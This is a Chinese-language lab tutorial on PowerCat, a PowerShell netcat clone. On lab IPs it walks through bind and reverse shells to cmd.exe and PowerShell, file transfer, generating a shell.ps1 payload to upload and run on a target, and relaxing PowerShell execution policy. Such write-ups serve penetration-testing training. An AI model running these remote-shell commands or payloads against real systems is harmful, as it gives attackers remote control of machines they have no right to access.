PowerCat反弹Shell
PowerCat介绍
PowerCat是一个powershell写的tcp/ip瑞士军刀，看一看成ncat的powershell的实现，然后里面也加入了众多好用的功能，如文件上传，smb协议支持，中继模式，生成payload，端口扫描等等。
PowerCat安装
PowerCat下载地址:https://github.com/besimorhino/powercat
#导入模块
Import-Module .\powercat.ps1
#如果提示未能加载指定模块，则可能是权限问题，以管理员权限运行powershell，然后输入如下代码
Set-ExecutionPolicy Unrestricted
#输入如下命令可以查看帮助信息
powercat -h如下就是导入模块成功的界面
PowerCat命令
PowerCat的详细命令作用如下表：
参数 | 作用 |
-l | 监听连接 |
-c | 连接到侦听器 |
-p | 要连接或监听的端口 |
-e | 执行 |
-ep | 执行Powershell |
-r | 中继。格式：“-r tcp：10.1.1.1：443” |
-u | 通过UDP传输数据 |
-dns | 通过dns传输数据 |
-dnsft | DNS故障阈值 |
-t | 超时选项。默认值：60 |
-I | 输入：文件路径（字符串），字节数组或字符串 |
-o | 控制台输出类型：“主机”，“字节”或“字符串” |
-of | 输出文件路径 |
-d | 连接后断开连接 |
-rep | 中继器。断开连接后重新启动 |
-g | 生成有效载荷 |
-ge | 生成编码的有效载荷 |
-h | 打印帮助消息 |
PowerCat实验
实验拓扑
机器名称 | IP |
攻击机器 | 192.168.41.20 |
服务器 | 192.168.41.130 |
PowerCat和nc正向连接
服务器使用powercat执行以下命令
powercat -l -p 8080 -e cmd.exe -v
攻击机使用nc执行以下命令
nc64.exe 192.168.41.130 8080 -vv
查看返回结果，发现我们成功正向shell到目标服务器
PowerCat和nc反向连接
攻击机使用nc执行以下命令
nc64.exe -l -p 8888 -vv
服务器使用powercat执行以下命令
powercat -c 192.168.41.20 -p 8888 -v -e cmd.exe
查看返回结果发现我们成功反向shell到目标服务器
PowerCat和PowerCat反向连接
攻击机使用powercat执行以下命令
powercat -l -p 9999 -v
服务器使用powercat执行以下命令
powercat -c 192.168.41.20 -p 9999 -v -ep
查看返回结果，发现我们成功反向shell到目标服务器
PowerCat文件传输
服务器使用powercat执行以下命令
powercat -l -p 9999 -of test.txt -v
攻击机使用powercat执行以下命令
powercat -c 192.168.41.130 -p 9999 -i C:test.txt -v
查看返回结果，发现我们的服务器收到目标文件
用powercat生成payload连接shell
攻击机使用powercat执行以下命令生成payload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
上传shell文件到目标服务器，然后在服务器上运行脚本
.\shell.ps1
攻击机使用powercat执行以下命令连接
powercat -c 192.168.41.130 -p 8000 -v
查看运行结果，发现我们成功得控制目标服务器
